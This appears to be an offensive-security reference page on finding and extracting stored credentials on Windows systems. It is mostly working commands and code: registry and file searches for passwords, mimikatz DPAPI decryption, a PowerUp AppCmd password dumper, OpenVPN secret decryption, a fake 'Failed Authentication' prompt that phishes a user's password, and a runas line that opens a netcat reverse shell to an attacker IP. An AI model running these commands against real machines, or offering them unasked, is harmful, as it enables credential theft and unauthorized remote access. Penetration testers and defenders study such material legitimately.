Investigating Local Windows Credentials
Windows credentials can remain in configuration files and the registry, as well as in dedicated stores. This page organizes what to check by storage location.
Credentials stored by Windows
Section titled “Credentials stored by Windows”Winlogon credentials
Section titled “Winlogon credentials”reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other wayreg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainNamereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserNamereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPasswordreg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainNamereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserNamereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPasswordCredential Manager and Windows Vault
Section titled “Credential Manager and Windows Vault”Credential Manager and Windows Vault store credentials that applications reuse. The application requests a saved value through Credential Manager when it needs it. See the Windows Vault guide for background on how this works.
Use cmdkey to list credentials stored on the machine.
cmdkey /listCurrently stored credentials: Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\AdministratorYou can then use runas /savecred to use a saved credential. This example invokes a remote binary over an SMB share.
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"Example of running runas with supplied credentials.
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"See also mimikatz, lazagne, credentialfileview, VaultPasswordView, or the Empire PowerShell module.
The Data Protection API (DPAPI) provides symmetric encryption of data and is mainly used within Windows to encrypt asymmetric private keys symmetrically. User or system secrets contribute substantially to the encryption entropy.
DPAPI encrypts keys with a symmetric key derived from the user’s logon secret. For system encryption, it uses the system’s domain authentication secret.
DPAPI-encrypted user RSA keys are stored at %APPDATA%\Microsoft\Protect\{SID}, where {SID} is the user’s Security Identifier. The DPAPI key is stored in the same file as the master key protecting the user’s private key and is usually 64 bytes of random data. (Access to this directory is restricted: CMD’s dir cannot list it, but PowerShell can.)
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\The mimikatz module dpapi::masterkey can decrypt it with the appropriate arguments (/pvk or /rpc).
Credential files protected by a master password are usually found in these locations:
dir C:\Users\username\AppData\Local\Microsoft\Credentials\dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\The mimikatz module dpapi::cred can decrypt them with the appropriate /masterkey.
The sekurlsa::dpapi module can extract DPAPI master keys from memory in bulk if you have root privileges.
Credentials left in PowerShell
Section titled “Credentials left in PowerShell”PowerShell credentials are common in scripts and automation tasks and provide a convenient way to store encrypted credentials. They are usually protected by DPAPI, so they can be decrypted only by the same user on the same computer that created them.
To decrypt PowerShell credentials from a file:
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'PS C:\> $credential.GetNetworkCredential().username
john
PS C:\htb> $credential.GetNetworkCredential().password
JustAPWD!#List saved Wifi usingnetsh wlan show profile#To get the clear-text password usenetsh wlan show profile <SSID> key=clear#Oneliner to extract all wifi passwordscls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*Saved RDP connections
Section titled “Saved RDP connections”Stored at: HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
and HKCU\Software\Microsoft\Terminal Server Client\Servers
Recently run commands
Section titled “Recently run commands”HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRUHKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRURemote Desktop credentials
Section titled “Remote Desktop credentials”%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settingsUse Mimikatz’s dpapi::rdg module with the appropriate /masterkey to decrypt .rdg files.
Mimikatz’s sekurlsa::dpapi module can extract DPAPI master keys from memory in bulk.
Sticky Notes
Section titled “Sticky Notes”The Windows StickyNotes app may store passwords and other information in a database file. The file is at C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite and is worth searching and inspecting.
AppCmd.exe
Section titled “AppCmd.exe”Recovering passwords with AppCmd.exe requires running it as Administrator at High Integrity.
AppCmd.exe is located at %systemroot%\system32\inetsrv\.
If this file exists, credentials may be configured and recoverable.
This code was extracted from PowerUP:
function Get-ApplicationHost { $OrigError = $ErrorActionPreference $ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) { # Create data table to house results $DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table $Null = $DataTable.Columns.Add("user") $Null = $DataTable.Columns.Add("pass") $Null = $DataTable.Columns.Add("type") $Null = $DataTable.Columns.Add("vdir") $Null = $DataTable.Columns.Add("apppool")
# Get list of application pools Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name $PoolName = $_
# Get username $PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username" $PoolUser = Invoke-Expression $PoolUserCmd
# Get password $PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password" $PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) { # Add credentials to database $Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName) } }
# Get list of virtual directories Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name $VdirName = $_
# Get username $VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName" $VdirUser = Invoke-Expression $VdirUserCmd
# Get password $VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password" $VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) { # Add credentials to database $Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA') } }
# Check if any passwords were found if( $DataTable.rows.Count -gt 0 ) { # Display results in list view that can feed into the pipeline $DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique } else { # Status user Write-Verbose 'No application pool or virtual directory passwords were found.' $False } } else { Write-Verbose 'Appcmd.exe does not exist in the default location.' $False } $ErrorActionPreference = $OrigError}SCClient / SCCM
Section titled “SCClient / SCCM”Check whether C:\Windows\CCM\SCClient.exe exists.
Its installers run as SYSTEM and are often vulnerable to DLL sideloading (see https://github.com/enjoiz/Privesc).
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersionif ($result) { $result }else { Write "Not Installed." }Credentials left in files and the registry
Section titled “Credentials left in files and the registry”PuTTY credentials
Section titled “PuTTY credentials”reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be therePuTTY SSH host keys
Section titled “PuTTY SSH host keys”reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\SSH keys in the registry
Section titled “SSH keys in the registry”SSH private keys may be stored under HKCU\Software\OpenSSH\Agent\Keys, so check this location for anything of interest:
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'Entries at this path are likely saved SSH keys. They are encrypted, but can be decrypted easily with https://github.com/ropnop/windows_sshagent_extract.
Details: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/
If the ssh-agent service is not running, start it automatically at boot with:
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service[!TIP] This technique no longer appears to work. After creating an SSH key, adding it with
ssh-add, and trying an SSH login, theHKCU\Software\OpenSSH\Agent\Keysregistry key did not exist, and procmon showed no use ofdpapi.dllduring asymmetric key authentication.
Unattended installation files
Section titled “Unattended installation files”C:\Windows\sysprep\sysprep.xmlC:\Windows\sysprep\sysprep.infC:\Windows\sysprep.infC:\Windows\Panther\Unattended.xmlC:\Windows\Panther\Unattend.xmlC:\Windows\Panther\Unattend\Unattend.xmlC:\Windows\Panther\Unattend\Unattended.xmlC:\Windows\System32\Sysprep\unattend.xmlC:\Windows\System32\Sysprep\unattended.xmlC:\unattend.txtC:\unattend.infdir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nulMetasploit can also search for them with post/windows/gather/enum_unattend.
Example:
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64"> <AutoLogon> <Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password> <Enabled>true</Enabled> <Username>Administrateur</Username> </AutoLogon>
<UserAccounts> <LocalAccounts> <LocalAccount wcm:action="add"> <Password>*SENSITIVE*DATA*DELETED*</Password> <Group>administrators;users</Group> <Name>Administrateur</Name> </LocalAccount> </LocalAccounts> </UserAccounts>SAM and SYSTEM backups
Section titled “SAM and SYSTEM backups”%SYSTEMROOT%\repair\SAM%SYSTEMROOT%\System32\config\RegBack\SAM%SYSTEMROOT%\System32\config\SAM%SYSTEMROOT%\repair\system%SYSTEMROOT%\System32\config\SYSTEM%SYSTEMROOT%\System32\config\RegBack\systemCloud service credentials
Section titled “Cloud service credentials”#From user home.aws\credentialsAppData\Roaming\gcloud\credentials.dbAppData\Roaming\gcloud\legacy_credentialsAppData\Roaming\gcloud\access_tokens.db.azure\accessTokens.json.azure\azureProfile.jsonMcAfee SiteList.xml
Section titled “McAfee SiteList.xml”Look for a file named SiteList.xml.
Cached GPP passwords
Section titled “Cached GPP passwords”Group Policy Preferences (GPP) once provided a way to deploy custom local administrator accounts across machines. It had a serious security flaw. Any domain user could access the GPO XML files stored in SYSVOL. In addition, GPP passwords were encrypted with AES256 but could be decrypted with a published default key. This created a serious risk of authenticated users gaining privileges.
To mitigate this risk, a function was created to scan locally cached GPP files for a nonempty “cpassword” field. If found, it decrypts the password and returns a custom PowerShell object containing information about the GPP entry and file location. This makes the vulnerability easier to identify and fix.
Look for the following files in C:\ProgramData\Microsoft\Group Policy\history or C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (before Windows Vista):
- Groups.xml
- Services.xml
- Scheduledtasks.xml
- DataSources.xml
- Printers.xml
- Drives.xml
To decrypt cPassword:
#To decrypt these passwords you can decrypt it usinggpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhwGet passwords with crackmapexec:
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologinIIS Web.config
Section titled “IIS Web.config”Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinueC:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.configC:\inetpub\wwwroot\web.configGet-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinueGet-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinueExample web.config containing credentials:
<authentication mode="Forms"> <forms name="login" loginUrl="/admin"> <credentials passwordFormat = "Clear"> <user name="Administrator" password="SuperAdminPassword" /> </credentials> </forms></authentication>OpenVPN credentials
Section titled “OpenVPN credentials”Add-Type -AssemblyName System.Security$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items){ $encryptedbytes=$item.'auth-data' $entropy=$item.'entropy' $entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect( $encryptedBytes, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))}# IISC:\inetpub\logs\LogFiles\*
#ApacheGet-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinueCredential prompts
Section titled “Credential prompts”If necessary, you can ask a user to enter their own credentials or another user’s credentials (but be aware that asking a client directly for credentials is very risky).
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext$cred.GetNetworkCredential() | flFilenames likely to contain credentials
Section titled “Filenames likely to contain credentials”Known files that have sometimes contained passwords in plaintext or Base64:
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_historyvnc.ini, ultravnc.ini, *vnc*web.configphp.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)SiteList.xml #McAfeeConsoleHost_history.txt #PS-History*.gpg*.pgp*config*.phpelasticsearch.y*mlkibana.y*ml*.p12*.der*.csr*.cerknown_hostsid_rsaid_dsa*.ovpnanaconda-ks.cfghostapd.confrsyncd.confcesi.confsupervisord.conftomcat-users.xml*.kdbxKeePass.configNtds.ditSAMSYSTEMFreeSSHDservice.iniaccess.logerror.logserver.xmlConsoleHost_history.txtsetupinfosetupinfo.bakkey3.db #Firefoxkey4.db #Firefoxplaces.sqlite #Firefox"Login Data" #ChromeCookies #ChromeBookmarks #ChromeHistory #ChromeTypedURLsTime #IETypedURLs #IE%SYSTEMDRIVE%\pagefile.sys%WINDIR%\debug\NetSetup.log%WINDIR%\repair\sam%WINDIR%\repair\system%WINDIR%\repair\software, %WINDIR%\repair\security%WINDIR%\iis6.log%WINDIR%\system32\config\AppEvent.Evt%WINDIR%\system32\config\SecEvent.Evt%WINDIR%\system32\config\default.sav%WINDIR%\system32\config\security.sav%WINDIR%\system32\config\software.sav%WINDIR%\system32\config\system.sav%WINDIR%\system32\CCM\logs\*.log%USERPROFILE%\ntuser.dat%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.datSearch for all the suggested files:
cd C:\dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}Credentials left in the Recycle Bin
Section titled “Credentials left in the Recycle Bin”Check the Recycle Bin for credentials as well.
To recover passwords saved by some programs, see: http://www.nirsoft.net/password_recovery_tools.html
Credentials in the registry
Section titled “Credentials in the registry”Other registry keys that may contain credentials
reg query "HKCU\Software\ORL\WinVNC3\Password"reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /sreg query "HKCU\Software\TightVNC\Server"reg query "HKCU\Software\OpenSSH\Agent\Key"Extract OpenSSH keys from the registry
Browser history
Section titled “Browser history”Check the database in which Chrome / Firefox passwords are saved.
Also inspect browsing history, bookmarks, and favorites, where passwords may have been saved.
Tools for extracting passwords from browsers:
- Mimikatz:
dpapi::chrome - SharpWeb
- SharpChromium
- SharpDPAPI
COM DLL replacement
Section titled “COM DLL replacement”Component Object Model (COM) is a Windows technology that allows software components written in different languages to communicate. Each COM component is identified by a class ID (CLSID) and exposes functionality through one or more interface IDs (IIDs).
COM classes and interfaces are defined under HKEY\CLASSES\ROOT\CLSID and HKEY\CLASSES\ROOT\Interface, respectively. This registry view combines HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.
A CLSID in this registry has an InProcServer32 subkey containing the default value pointing to a DLL and a ThreadingModel (Apartment / Free / Both / Neutral).
.png)
If you can replace the DLL that will run, you may be able to escalate privileges when another user loads it.
For using COM hijacking for persistence, see:
Search files and the registry for passwords
Section titled “Search files and the registry for passwords”Search file contents
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txtfindstr /si password *.xml *.ini *.txt *.configfindstr /spin "password" *.*Search specific filenames
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*where /R C:\ user.txtwhere /R C:\ *.iniSearch registry key names and passwords
REG QUERY HKLM /F "password" /t REG_SZ /S /KREG QUERY HKCU /F "password" /t REG_SZ /S /KREG QUERY HKLM /F "password" /t REG_SZ /S /dREG QUERY HKCU /F "password" /t REG_SZ /S /dPassword discovery tools
Section titled “Password discovery tools”The MSF-Credentials Plugin is an msf plugin that automatically runs Metasploit POST modules to search for credentials on a target.
WinPEAS automatically searches for the password-bearing files listed on this page.
LaZagne is another useful password extraction tool.
SessionGopher searches for sessions, usernames, and passwords stored in plaintext by several tools (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP).
Import-Module path\to\SessionGopher.ps1;Invoke-SessionGopher -ThoroughInvoke-SessionGopher -AllDomain -oInvoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
